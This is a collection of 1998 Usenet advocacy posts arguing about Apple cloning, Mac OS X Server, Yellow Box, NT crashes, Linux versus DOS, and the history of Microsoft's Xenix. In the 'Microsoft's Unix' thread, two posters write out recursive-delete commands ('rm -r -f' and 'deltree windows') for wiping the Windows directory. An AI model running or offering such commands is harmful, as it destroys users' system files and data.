Jonathan W Hendry wrote:
>
> rr6013@yahoo.com wrote:
>
> > Why would licensing iMac *only*, be good for Apple, good for the consuming
> > public and marketshare?
>
> Why should they license, when they can subcontract?
That's easy: it brings more partners, more expertise, more money, more
visibility, more innovation, more channels, more customers, and more
competition to the table.
MJP
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Fri, 2 Oct 1998 19:27:14 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6v57d5$icn$4@supernews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <3614FC12.5BE9@betabreakers.com>
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Josiah Fizer wrote in message <3614FC12.5BE9@betabreakers.com>...
>Linux is not what I would call a good Unix system. Try Irix, easy to use
>and very powerfull. sun Solaris isn't bad but its more geared to
>ubergeeks than normal people.
I've allways wanted to try Irix... maybe in the future after SGI ports it to
Merced (they claim that's there plan).
How is it easier to use then most Unices?
Dan
error messages and HourGlasses, I
use
>NT.
You "rarely" see a hourglass when using NT unless your hovering your pointer
over a working application. This is a really stupid arguement since the
Apple waiting clock is seen so much more often then a hourglass on NT.
>Windoze does it's best to fuck up old installs of dos (the ones you are
>keeping around for when WINDOZE TOTALLY BELLY UPS AND TRIES TO TAKE YOUR
WORK
>WITH IT) by using DOS or MSDOS as some sort of TEMP directory.
???
>Seriously expect me to believe that WINDOZE 98 works properly if Netscape
is
>installed...?
???
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Sat, 3 Oct 1998 05:44:26 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6v57dg$icn$14@supernews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <6v42ad$7fa$1@nnrp1.dejanews.com>
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hughesojh@my-dejanews.com wrote in message
<6v42ad$7fa$1@nnrp1.dejanews.com>...
>Childish?
>
>"You can either be my friend or Larry's..." anyone?
>
>DOS stinks.
Your right, it pretty much does... as do most Unices...
>It is like some sort of Nightmare pre-release dustbin destined 1960's Unix
>pre- prototype.
>
>rm -r -f .\EVIL
>and I've gotten rid of the whole Windows directory.
>
>Can't do it in dos.
deltree windows
and I've gotten rid of the whole Windows directory in DOS mode (and I didn't
even have to worry about the caps).
>Plenty more stuff like that.
>
>To be fair, Linux is pretty scarey if you're not into reading manuals
before
>maikng an arse of yourself.
>
>Nice and easy if you read up a bit first.
>
>Not sure what the commands you can do at the prompt on a system are?
>
>cd /usr/bin
>and ls
>just use SHIFT-PAGEUP to look back up the list.
Better yet, just type "HELP"
Then type "ls --help"
The type "cd --help"
In DOS you can get similar info my typing "COMMAND /?"
Then type "appname /?"
Dan
>another thing you can't do on DOZY OS.
>
>Even most Microdirge fans aren't stoo-pid enough to argue that DOZY in
anyway
>compares to **ix.
>
>In article <6v1ouq$cqb$1@supernews.com>,
> "Dan" <dan@knowspaam.com> wrote:
>> Corbett Baker wrote in message <361444B1.A3B92AE9@wenet.net>...
>> >Dan wrote:
>> >
>> >> MojiDoji wrote in message ...
>> >>
>> >> >where's MsLinux?
>> >>
>> >> MS gave up on Unix in the late 70's (when the rest of the world should
>> have
>> >> done the same), with their 1st OS ("Microsoft Xenix").... realizing
what
>> >> utter hell Unix was.
>> >>
>> >> Dan
>> >
>> >Yeah Multi-user Z80's and 8080's are a BAD idea, but do you consider DOS
>> 1.0
>> >any better?
>>
>> Yes... DOS is far easier to use then Unix... This was part of the whole
>> concept behind DOS and the BASIC programming language...i.e.,
"simplistic"
>> ...of course it's not a better server, but this is not the common goal
for
>> the average computer user. (thinking back to 1980)
>>
>> >jesus Dan your "unix" experience is most likely 1 hour of using
>> >linux without
>> >reading anything or knowing anything and saying it is "utter hell"
>> >I really wish you would stop making un-educated comments like this, only
>> the
>> >ignorant take you seriously.
>>
>> Hmmm.... it's funny how if anyone likes a Microsoft product, or complains
>> about a Apple or Unix product someone always accuses them of being an
idiot,
>> while another accuses them of working for Microsoft.
>>
>> I've had more then my far share of Linux experience. If it wasn't for NT
I
>> would consider it... "not half bad."
>>
>> One thing that makes me hate Linux even more is when a bunch of Linux
gurus
>> try and convince each other how much Microsoft products suck. Why?
Because
>> they "have to" *convince* each other... i.e., holding rallyes and
starting
>> threads of complaints... Because none of it's true... of course, if you
all
>> say it to each other enough it's starts to sound more and more realistic.
>> it's sick.
>>
>> BTW, during my first explorations into Linux I was not out to hate it...
I
>> was out to embrace it. People were telling me it's great left and right,
and
>> how Windows sucks... and I figured it must be pretty cool, so I wrote
down a
>> list of things I needed (like email, etc.) to make a complete switch.
>> ...a few months later, after hours and hours of banging my head against
the
>> wall trying to get it to work properly, reinstalling endlessly to get
Linux
>> back to a working state because it was easier then trying to find someone
to
>> help me fix a problem (which could take days, weeks, even months), etc.,
>> etc., etc... I gave up (something I should have done months earlier and
>> saved me time).
>>
>> I don't really care if you guys prefer messing with Linux configuration
>> files, wasting your time, instead of getting work done... that's fine.
Maybe
>> you like that sorta thing... I know a guy that enjoys wrecking his truck,
>> just so he can fix it again.
>> ...what does piss me off is listening to all the NT complaints when I'm
>> sitting here at a NT box that has not crashed or had a reinstall in over
a
>> year, while Linux had gone down many times before on the same machine.
i.e.,
>> I'm not going to just sit back and listen to it all.
>>
>> I don't want to argue though... so I'll probably not respond if you
choose
>> to flame me. That's not the reason I'm here. I'm here to try and make at
>> least one person see what is really going on... instead of being sucked
into
>> the hate.
>>
>> >--
>> >Windows NT is a piece of cr*p, and almost
>> >everybody knows it, but by leveraging on their desktop parts, MS has
>> >certainly been able to make a dent in the server and workstation market.
>> >
>> > Linus Torvalds,
>>
>> *THIS* is what I dislike about the Linux community.... Linus has clearly
>> displayed hatred, and immaturity here. And your proud enough to post this
in
>> every signature. Linus and Steve Jobs should start their own web page and
>> dedicate it to finding new ways to childishly call their competitors
>> offensive names, etc.
>>
>> Dan
>>
>>
>
>-----------== Posted via Deja News, The Discussion Network ==----------
>http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 4 Oct 1998 01:11:27 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6v6hvv$c0q@newsb.netnews.att.com>
References: <3615835C.225B608D@nstar.net>
Originator: gupta@tlctest
Michael J. Peck <mjpeck@nstar.net> wrote:
>http://www.news.com/News/Item/0,4,27107,00.html?st.ne.fd.gif.d
Thanks for the URL. Interesting stuff.
>If Apple were willing to license the iMac to what looks to be an eager
>industry, this could be a significant shot in the arm for PowerPC.
What is remarkable about the iMac is its uniqueness.
The Macintosh cloners' market produced no such machine. The
PC market on its own didn't show any signs of producing such a
machine. Allowing cloners is not going to increase the amount
of innovation, any more than it did in the past.
The evidence that the iMac is attracting some new users and
some Windows users to the Macintosh appears to be stronger than
any I've seen that cloners grew the Macintosh market. To be brief,
I haven't seen any evidence that the cloners helped grow the
Macintosh market. All the evidence is that they cannibalized it,
and perhaps kept it from shrinking faster than it did, initially.
But Apple's financial losses probably caused a larger desertion
of MacOS than might have occurred in a non-cloning situation.
IMO,Apple should allow cloning if and only if it may result in the MacOS
market growing beyond what Apple can do on its own. For example,
if there is a chance that Apple can attract buyers who don't want
single-sourced hardware, then having a PowerPC-machine producing
partner would be good.
Apple should not make a cloning decision that it might have to
rescind in a hurry. As it is, there may be few takers now because
of the past history. The current MacOS did not succeed in cloning;
perhaps MacOS X is sufficiently different to make another try.
-arun gupta
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 4 Oct 1998 01:53:44 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdef38$8ec16d10$06387880@chewy>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu>
Eric Bennett <ericb@pobox.com> wrote
> So when a company gets a new CEO, it can completely
> disregard all the commitments it previously made to
> its customers?
I am afraid it happens all the time. Heck, you don't even need a
change in leadership for it to happen, but it probably is more frequent
then.
Think of all the stated or implied promises for Newton
owners/developers, OpenDoc developers, employees who lost their jobs.
Remember Apple's on-line service? The Apple III? How often was
Copland delayed before being killed? Remember Taligent?
How many times have Microsoft announced a product, freezing consumers
from buying currently available products from competitors, and then
delivering years late or maybe never? What happened to all those
customers who bought NT for their PowerPC or MIPS computer?
I have worked on several projects where we were expecting delivery of a
core component from another company or adoption of "the emerging
standard" by others only to scramble when it didn't happen.
I am not saying it is right. I am only saying thats life.
Todd
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: Mac OS X Server
Date: 3 Oct 1998 14:07:38 GMT
Organization: Primenet (602)416-7000
Message-ID: <6v5b3a$lio$1@nnrp03.primenet.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net>
<6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com>
<joe.ragosta-0210982016330001@elk86.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: They basically cancelled the Premiere release. Unified is now Mac OS X
: Server 1.0 and is reasonably close to being on the original schedule.
: I don't know why Premiere was canned, but suspect that most of the people
: who would have bought it already have it as DR2.
You've said this before about most of the potential customers for Premiere
buying DR2. I think that is setting your sights rather low. To get DR2
you have to sign on as a Developer and sign an NDA. That kind of limits
Apple's ablity to attract people unfamiliar with the OS.
I certainly would have gone to see the Premiere release at a store, but I
didn't feel confident enough to join the developer program just to preview
it. I mean, if you aren't already an Apple Developer, joining the program
just to get the DR really amounts to buying it sight unseen.
Jeez Louise, Premiere would have arrived in early '98, just in time for
all the renewed UNIX buzz, and would have provided a nice GUI to pull
people from Linux.
John
From: jmz@southwind.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: Sat, 03 Oct 1998 00:42:44 +0000
Organization: None
Message-ID: <36157305.6AA1@southwind.net>
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com> <3616b0bf.0@news.depaul.edu> <3616C5C2.5354F82@nstar.net>
Mime-Version: 1.0
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Michael Peck wrote:
>
> Jonathan W Hendry wrote:
> >
> > rr6013@yahoo.com wrote:
> >
> > > Why would licensing iMac *only*, be good for Apple, good for the consuming
> > > public and marketshare?
> >
> > Why should they license, when they can subcontract?
>
> That's easy: it brings more partners, more expertise, more money, more
> visibility, more innovation, more channels, more customers, and more
> competition to the table
There is no question that's exactly why cloning was killed off in the
first place.Apple's strategy with the iMac is partly to force technology
by requiring USB and killing the floppy,but partly to make a machine its
professional users would not find useful and thereby drive up the cost
of "professional" Macintoshes.In other words,they are going back to the
workstation pricing model,which they know will be profitable in the
short run as graphics people in effect have nowhere else to go.NT is not
taking care of them and Be is not proving viable for them either.(Be
well may make it,but with a fresh new market.Mac people are not
interested in Be.)
In the long run...what long run? Let Steve get stoked up by the mass
adulation and have his moment ordering the invasion of Russia.Since
willfully abusing the trust of customers and lying to them and
abandoning them is no crime,no matter what the costs in money,time,and
emotional distress,Jobs will never stand at Nuremberg.
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
Date: 4 Oct 1998 14:38:57 GMT
Organization: AT&T WorldNet Services
Message-ID: <ckoller-0410980743220001@170.los-angeles-06.ca.dial-access.att.net>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <361781b9.0@news1.ibm.net>
In article <361781b9.0@news1.ibm.net>, Yves R. Crevecoeur
<creveco@ibm.net> wrote:
> Friends,
>
> The MacOS is very difficult if not impossible to port to any platform.
> That's why they had a hard time releasing Copland with backwards
> compatibility.
>
> NeXT had awsome obj UI and tools but the Unix underneath it could never
> replace the MacOS. It's just a completely different beast when compared to
> an everyday desktop OS. The NeXT UI could not hide all the Unix Server Stuff.
>
> I agree that they need to stay on track with MacOS X development. They'll
> need to keep some of the Unix stuff out of it. It should be more like the
> BeOS.
>
> The server market will be very difficult for anyone to penetrate now with NT,
> Linux, Sun, HP, Novell, IBM, SCO just to name a few, they can forget it! I
> can't see Apple offering anything that one of these OSes don't offer. (Note
> that NT has many Server and Web development tools that can run circles around
> NeXT (Seriously)).
>
> Bottom line, Apple is behind in Desktop OS Architecture. They need focus on
> that to catch up quickly.
>
> CIAO
> Yves
>
They seem to be doing both at the same time... There's a considerable
amount of crossover in both pursuits. As for "forgetting" about competing
against existing server OS'es, the market is expanding and many people are
dissatisfied with the current offerings and the technical barriers they
impose. If Apple can offer an easy-to-use-and-maintain server OS that's
powerful and stable, and they target and market it properly, they'll do
just fine, not only with the Mac-installed base, but with other platforms
as well.
Priorities are important, and MacOS is the grail, sure. But future
considerations are also important, lest Apple merely make stop-gap
improvements to the OS and leave itself perpetually chasing the
competition in performance, so Apple will act by making visionary
assertions and leading the way, as it has in the past. In the final
analysis, it's not about the Mac, just as it wasn't about the Apple ][.
It's about the Apple philosophy of empowering the user, pure and simple.
Relying solely on other server technologies may not facilitate this
(especially the Network computer capabilities of the iMac, for example).
Steve Jobs pointed out that his XEROX tour, all those years ago, revealed
the holy trinity of computing, which the Mac has only conquered one aspect
of: the GUI, object oriented programming, and networking.
The two latter elements need to be treated with the same consideration
that the UI has been so that individual users needn't have computer
degrees to program and manage networks. We've got a long way to go, and
personally I don't see Microsoft making the full commitment in these two
areas of user empowerment, as user dependency is simply too lucrative not
only for MS, but many of its proponents. NT seems more about usurping more
expensive Novell and UNIX installations, rather than taking it all the way
down to the "personal" level.
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: 3 Oct 1998 15:11:10 GMT
Organization: Indiana University, Bloomington
Message-ID: <6v5eqe$lpb$1@jetsam.uits.indiana.edu>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <6v1ouq$cqb$1@supernews.com> <6v2mkm$4i1$1@jetsam.uits.indiana.edu> <6v57d4$icn$3@supernews.com>
In article <6v57d4$icn$3@supernews.com>, Dan <dan@knowspaam.com> wrote:
>Gregory Loren Hansen wrote in message
><6v2mkm$4i1$1@jetsam.uits.indiana.edu>...
>
>>It seems to me that Unix command line shells are no harder to use than
>>DOS, as long as you only want to do the things that DOS does. You've got
>>ls compared to dir, cd compared to cd, cp compared to copy, cat compared
>>to type, find compared to... um...,
>>
>>DOS commands tend to be a little more "plain English" style. But I didn't
>>seem to have any problem remembering the Unix commands as I was learning
>>them.
>
>I'm mostly talking about things like installing software, etc.
>
>Dan
Oh, yeah, that could a bit of a problem if you got your file as source
code.
--
"It doesn't matter if you have a beard on the outside. It's the beard on
the inside that counts." -- Action Hank
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: 4 Oct 1998 15:07:26 GMT
Organization: Idiom Communications
Message-ID: <6v82ve$rce$2@news.idiom.com>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu>
<6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com>
<6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com>
Mime-Version: 1.0
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Cc: me@home.org
Just Me may or may not have said:
-> What *I* do can't even be done on anything BUT Windows.
How sad for you. Have you considered a change of jobs?
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
Message-ID: <36165223.87A640BC@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: NT Doesn't Crash --- What a Joke
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <6v371u$59g$2@news.spacelab.net> <6v57d6$icn$5@supernews.com>
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NNTP-Posting-Date: Sat, 03 Oct 1998 12:31:45 EDT
Date: Sat, 03 Oct 1998 09:34:43 -0700
Dan wrote:
* Charles W. Swiger wrote in message
<6v371u$59g$2@news.spacelab.net>...
* * * . . . what does piss me off is listening to all
* * * the NT complaints when I'm sitting here at a
* * * NT box that has not crashed or had a reinstall
* * * in over a year,
* * I'm pretty sure I don't believe you. NT stable for
* * over a year without rebooting?
* No no... I reboot. I just said it has not crashed in over
* a year, nor has NT been reinstalled in over a year.
Well, as others have posted, you are in a rare minority. A couple
of months ago I managed to crash NT about a half-dozen times over
a weekend. I was running Sun's 100 percent Pure Java Certification
tool. It ran for periods ranging from five to twelve hours and
crashed NT every time.
A while back I was running Adobe's CPSI [Configurable PostScript
Interpreter]. Somewhere here [if I can dig through my archives]
I have a couple of twenty-line PostScript codes that when run
through CPSI, manage to crash NT very reliably. These codes
were not any weird iterative things --- they were straightforward
create a dictionary and execute an operator.
And we don't get to blame the applications for crashing the OS,
right? With "modern" operating systems, applications are not
supposed to bring down the OS.
In addition to being able to crash NT pretty much on demand, I
can't begin to think how many times I have to reboot. In the
course of an average day of Java hacking and web surfing, NT
slowly gets into a wedged state where bits of applications start
appearing in the wrong place on the screen. Where my system can't
locate the ISP I'm dialled into. Where either DNS lookup stops
working altogether, or, DNS works erratically but then I can't
get any response from any host anywhere, including my own home
page and my own FTP site.
In short, on a consistent and regular basis, NT wedges to a state
where the only way out is reboot. In its favour, if comparing
degrees of grodiness is indicative of goodness, I had to reboot
Windows 958 about ten to twenty times a day, so I suppose rebooting
'only' one to four times a day could be considered an improvement.
Also, things appear to have improved slightly since I increased
pagefile.sys to two hundred megabytes . . .
Now this post was not intended to either 'knock' NT nor to
extoll its virtues. Neither was the post intended to extoll
the virtues of MacOS, NextStep, or UNIX, by comparing just
Okay with mediocre. The intent was simply to tell you of
my experiences using NT for real-world activities.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 5 Oct 1998 17:44:38 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6vbi7r$12su2@odie.mcleod.net>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <FIiROLCWddLd-pn2-1nur1YFOBx4D@slip202-135-89-77.hk.hk.ibm.net>
>taiQ wrote in message ...
[Deleted]
>But there's the Catch 22 - Apple is only planning to make a native
>platform for YB apps on Apple G3's or later when Mac OS X is supposed
>to ship in late '99. Will YB still be attractive to developers in
>'2000 compared to native Linux and M$ NT development? Will folks be
>happy to stick with Mac OS 8.x for another year or more?
>Cheers,
>--
>taiQ
YB will still be attractive in 2000 to the people for whom it is attractive
now (All 20 of us that are left). YB is way ahead of the pack. In fact,
YB/Openstep/Nextstep has been successively downgraded in many respects since
1991 or so and continues to be superior to the alternatives.
The real problem is that existing established developers do not want
YellowBox and may in fact lobby to kill it. YB represents cost to
established vendors, but it represents opportunity to new vendors. Why
would the established vendors encourage technology that costs them and helps
the competition ?
YellowBox can be used to produce excellent Windows Apps. As WWDC 98 there
was a session on creating Windows 95 logoable YellowBox apps. My company
makes/sells a number of very successful YellowBox Windows/ Openstep
Enterprise applications. Of course, our customers do not care about/know
about logo requirement conformance.
The potential market for YellowBox applications is vastly greater than the
potential market for MacOS/Carbon applications. Again, the large
established Mac vendors already have cross platform tools and must regard
new competitors with superior cross platform tools provided by Apple as a
threat ...
Prediction: Apple will kill YellowBox due to pressure from established
vendors . I am not currently willing to invest in Xt, Win32, MFC, or Mac
Toolbox. Java has great potential, but it is developing slowly. When my
company can no longer sell YellowBox applications, we will probably stop
producing new applications and concentrate on our other markets. Carbon is
just what Apple needed. I was at WWDC 98 and the writing was on the wall.
YellowBox is effectively dead even if Apple continues to make noises about
it for a few more months/years. Look up my posts since May. Specifically,
re-read my analysis of the relative amounts of money/personnel being spent
on Carbon v YellowBox by Apple.
Out customers can take a hint. Apple treats them very badly and will not
make commitments to YellowBox technology. They (collectively) are spending
10s of millions to get away from Apple. That money might have gone to Apple
given different circumstances. Hell, my company alone has spent ~$500,000
getting away from Apple technology just since May.
From: "Bill Romanowski" <billr@prairie.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Sat, 3 Oct 1998 11:40:29 -0500
Organization: In-Motion LLC
Message-ID: <6v5kad$qta@host2.in-motion.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361462DE.A1DFB275@trilithon.com>
> * MojiDoji wrote in message ...
> * * where's MsLinux?
>.. various threads about Xenix followed...
Here's some of the history of MS's Xenix as I remember it.
Some of this may be wrong, it's been almost 20 years...
Microsoft's UNIX, Xenix started out as a direct port
of Bell Lab's Unix v7. The actual delivery of Xenix was
not done by MS, it was built by Human Computing Resources
(HCR) in Toronto. I believe that HCR was founded by
graduates of the University of Toronto, one of the early
"academic" licensees of Unix from Bell Labs (along
with the University of Calif. at Berkley from which
sprang the BSD variant of UNIX). HCR took the chance
and paid for a Unix source license from Bell Labs, which
at the time ran...I think...around $20K and pushed for
commercialization of Unix. At the time, AT&T was
using Unix internally and would only let it out to
schools. This was all around 1979-80, just before the
IBM-PC was introduced. A PC at the time meant
Z80-based CP/M boxes, the Apple II and the remaining
"homebrew" boxes.
The HCR distribution was available primarily on DEC
PDP/LSI-11s and (surprise Mac-ite's) 68000's. Just as
the Xenix project went commercial, I was a partner in
MSD Systems in the US and we were the first to sell Unix
in "the states", before Microsoft. At the time it was pretty cool.
We sold LSI-11 boxes that could support 8 users on terminals
or dial-up. Pre-emptive multitasking and networked
email, all in 256K of memory (on a "massive" 14 inch
platter 20mb hard drive and dual 8 inch floppies(??!!)).
Although Xenix was available from MS for DEC CPUs,
they sold it mostly to 68000 vendors; Fortune Systems,
Charles River Data Systems and everyone's favorite
computer company, Tandy/Radio Shack. This box was the
68000-based TRS-16. Someone at the time, I don't recall
if it was MS or TRS, claimed that there was more Unix
sold on TRS-16s than any other Unix supplier.
As an aside, when the Mac came out I was -sure- that there
would be a Unix for it immediately, considering that I was
running Unix on a 68000 for 4 years previous. With this
perspective, it's amazing that we're still waiting for true
pre-emptive multitasking MacOs 20 years later...
As MS-DOS came on the scene, MS lost interest in Xenix.
This was primarily because of the philosophy we see today;
Microsoft does not like selling things they don't own. Xenix
required a fee to AT&T on every unit sold.
The legacy of Xenix still lives on today in Windows. Many
features (mostly at the "shell" level) in Windows ...how
do I say this in a nice way?... were "inspired" by Unix. The
commands "pwd", "cd", "mkdir", ".." and more were from Unix.
As I remember, the first MS-DOS didn't have the concept of
directory trees, just like CP/M (which was another major "inspiration"
of MS-DOS). It wasn't until DOS 2.0 or so till "directories" came to be.
This is also true of using the "|" to pipe output of one command into
another.
The worst of these "inspirations" was the use of the "\" as a file name
separator. Unix, of course, does it as God intended with the "/" and has
caused myself and many others unmeasurable pain through the years.
Bill Romanowski
prairie research
From: jmz@southwind.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: Sat, 03 Oct 1998 19:18:02 +0000
Organization: None
Message-ID: <3616786A.6ADF@southwind.net>
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com> <3616b0bf.0@news.depaul.edu> <3616C5C2.5354F82@nstar.net> <6v8fbt$8lt@news1.panix.com> <3617CDBF.E5817D05@nstar.net>
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> What Apple needs is new competition that's on its team. It's already got
> a whole world of competition that isn't. Some of us call the first kind
> of competition "partners".
>
> But of course we both know that Apple has always been afraid of
> partners, because if you're not careful, partners can become masters,
> and Apple has always had an inferiority complex. Did you ever wonder why
> the original cloners were virtual nobodies in the PC business?
> PowerComputing was a brand-new company, and UMAX had never sold PCs
